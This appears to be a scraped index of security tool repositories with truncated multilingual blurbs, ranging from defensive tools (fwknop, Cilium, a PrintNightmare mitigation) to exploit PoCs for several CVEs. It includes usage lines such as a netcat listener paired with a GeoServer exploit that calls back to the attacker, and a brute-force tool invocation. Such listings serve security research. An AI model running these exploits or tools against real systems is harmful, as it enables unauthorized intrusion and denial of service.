fwknop

fwknop - Single Packet Authorization Introduction fwknop implements an authorization scheme known as Single Packet Authorization SPA for strong service concealment. SPA requires only a single packet which is encrypted, non-replayable, and authenticated via an HMAC in order to communicate desired...

Bluefrag_CVE-2020-0022

BluefragCVE-2020-0022 Esta es una vulnerabilidad RCE de Bluetooth en Android 8.0 y 9.0 Los scripts de prueba de Python en la carpeta cve-2020-0022 provienen de https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/. El enlace de descarga original es...

silicon2022-capturetheflag

silicon2022-ctf Acerca de Un CTF de 41 flags que utiliza la plataforma RootTheBox. La infraestructura se desplegó principalmente en Azure Kubernetes Service. Los desafíos de terminal se desplegaron mediante imágenes Docker usando una versión modificada de WeTTY Compilación La mayoría de los...

CVE-2024-38077-check

CVE-2024-38077check 基于135端口检测目标是否存在CVE-2024-38077漏洞，需要目标机器防火墙未对135进行限制，如果目标开启RDL服务，则受该漏洞影响，如果目标服务器更新了补丁，进行RPC尝试连接该服务会返回 ncasfaultaccessdenied 。 注：2008、2012 补丁没打成功，所以不确定是不是返回 accessdenied，图中已更新漏洞补丁的是 2016 和 2019 。...

cilium

.. raw:: html |cii| |go-report| |clomonitor| |artifacthub| |slack| |go-doc| |rtd| |apache| |bsd| |gpl| |fossa| |gateway-api| |codespaces| Cilium es una solución de red, observabilidad y seguridad con un plano de datos basado en eBPF. Proporciona una red plana simple de Capa 3 con la capacidad de...

WAGO-CVE-2023-1698

WAGO-CVE-2023-1698 Vulnerabilidad de ejecución remota de código en el sistema WAGO CVE-2023-1698 Atención He desarrollado una herramienta para pruebas locales y desarrollo de POC, que es solo para referencia de aprendizaje técnico. No la utilice para fines ilegales. Cualquier consecuencia o pérdi...

alibaba__nacos_CVE-2021-44667_2-0-3

Nacos: Dynamic Na ming and Co nfiguration S ervice...

CVE-2020-1967

CVE-2020-1967 关于OpenSSL signaturealgorithmscert DoS漏洞（CVE-2020-1967）的概念验证利用。原始发现归功于Bernd Edlinger，由Matt Caswell和Benjamin Kaduk进行了额外分析，此演示由Imre Rad完成。 前提条件 在TLS 1.3握手期间或之后调用SSLcheckchain函数的服务器或客户端应用程序。根据文档，SSLcheckchain检查证书x、私钥pk和证书链chain是否适用于当前会话s。此函数调用不存在 于流行的Apache httpd或Nginx项目中。 演示...

sap_igs_xxe

Ataque XXE SAP IGS CVE-2018-2392 y CVE-2018-2393 Este módulo en Metasploit Framework Documentación Módulo Aplicación vulnerable Este módulo explota CVE-2018-2392 y CVE-2018-2393, dos vulnerabilidades XXE dentro de la página XMLCHART de SAP Internet Graphics Servers IGS que ejecutan versiones 7.20...

CVE-2024-36401

CVE-2024-36401 这是用于检查CVE-2024-36401漏洞的程序。 使用方法 首先，执行以下命令，进入通信监听状态。 root@kitploit: nc -lvnp 9000 然后在另一个终端窗口中执行文件。 root@kitploit: python CVE-2024-36401.py --target example.com --targetport 8080 --myip 172.26.16.100 --myport 9000 --target 目标的域名或IP地址 --targetport 托管目标服务的端口号 --myip 自己的IP地址 --myport...

wordpress-cve-2018-6389

WordPress-CVE-2018-6389 WordPress Core - 'load-scripts.php' Denegación de Servicio = 4.9.4 Fecha: 05/02/2018 Enlace del software: WordPress Versión: = 4.9.4 Probado en: KaLi Linux 2018.1 CVE: CVE-2018-6389 Descubierto por: Barak Tawily Exploit por: Javier Olmedo ¿CÓMO USARLO? Clona este repositor...

RFCpwn

RFCpwn Un kit de herramientas de enumeración y explotación de SAP que utiliza llamadas RFC de SAP Twitter: @icryo Este es un kit de herramientas para demostrar el impacto de cuentas de servicio comprometidas. Esta PoC no está destinada para su uso en entornos de producción, no se garantiza...

Bitrix24DoS

Bitrix24 DoS Exploit This repository contains a Python script designed to exploit a Denial of Service DoS vulnerability in Bitrix24. Please note that this script is for educational purposes only, and its use for unauthorized activities is illegal and unethical. CVE-2023-1718 CVE Identifier :...

CVE-2022-25260

CVE-2022-25260 SSRF server-side request forgery semi-ciego pre-autenticación en JetBrains Hub Requisitos JetBrains Hub 2021.1.14276 JetBrains Hub anterior a 2021.1.14276 era vulnerable a un control de acceso inadecuado CVE-2022-34894, que permite a un atacante crear servicios no confiables sin...

CVE-2022-38601

Descripción sugerida Se descubrió que Lotsia Soft Lotsia PDM PLUS v5.80.220414 contiene un desbordamiento de búfer. Tipo de vulnerabilidad Desbordamiento de búfer Fabricante del producto Lotsia Soft Base de código del producto afectado Lotsia PDM PLUS - 5.80.220414 Tipo de ataque Local Impacto...

aws-security-assessment-solution

自助式安全评估解决方案 v2.0 网络安全对于许多 CIO、CISO 及其客户而言，始终是一个非常重要的话题和关注点。为应对这些重要关切，AWS 开发了一套核心服务，客户应使用这些服务来帮助保护其账户。Amazon GuardDuty、AWS Security Hub、AWS Config 以及 AWS Well-Architected 审查可帮助客户在其 AWS 账户上保持强大的安全态势。随着越来越多的组织部署到云端，尤其是如果它们部署速度较快，且尚未实施推荐的 AWS 服务，则可能需要对云环境进行快速安全评估。...

CVE-2021-1675

CVE-2021-1675 - PrintNightmare DSC 缓解措施 PowerShell Kougyoku Gentou | 2021年7月1日 CVE-2021-1675 是一个严重的远程代码执行和本地权限提升漏洞，被称为 "PrintNightmare"。 缓解措施是禁用打印后台处理程序服务。嗯，大多数网站说只在域控制器上执行此操作，但实际上，应该在任何非打印服务器的 Windows Server 上执行该操作。那么，让我们修复它！本脚本使用 PowerShell 和期望状态配置 DSC 来停止并禁用你所选组织单位 OU...

ms08-067

📖 概述 本仓库包含 MS08-067 Windows 服务器服务漏洞（CVE-2008-4250）的 Metasploit 模块实现。这是一个影响旧版 Windows 系统的经典远程代码执行漏洞。 🛠️ 安装与使用 前提条件 Kali Linux 已安装 Metasploit Framework 经过授权的测试环境 🤔如何使用？ 首先，登录 Kali Linux。然后 👉 运行以下命令： root@kitploit: git clone https://github.com/BinRacer/ms08-067.git cd ms08-067 sudo cp -a...

BruteX

BruteX 关于： 自动对目标上运行的所有服务进行暴力破解 开放端口 用户名 密码 安装： root@kitploit: ./install.sh 使用： root@kitploit: brutex target Docker： root@kitploit: docker build -t brutex . docker run -it brutex target 许可证： 你可以修改并重新分发此软件，但项目名称“BruteX”、作者“xer0dayz”以及网站URL“https://sn1persecurity.com”不得修改。违反此规定将破坏许可协议，并将发出删除通知。 链接：...

cygor

Cygor Descripción General Cygor es un framework modular de descubrimiento de activos que reúne escaneo, análisis y enumeración de servicios en un solo flujo de trabajo. Reemplaza el mosaico de herramientas separadas por un proceso automatizado que gestiona el descubrimiento, el enriquecimiento y ...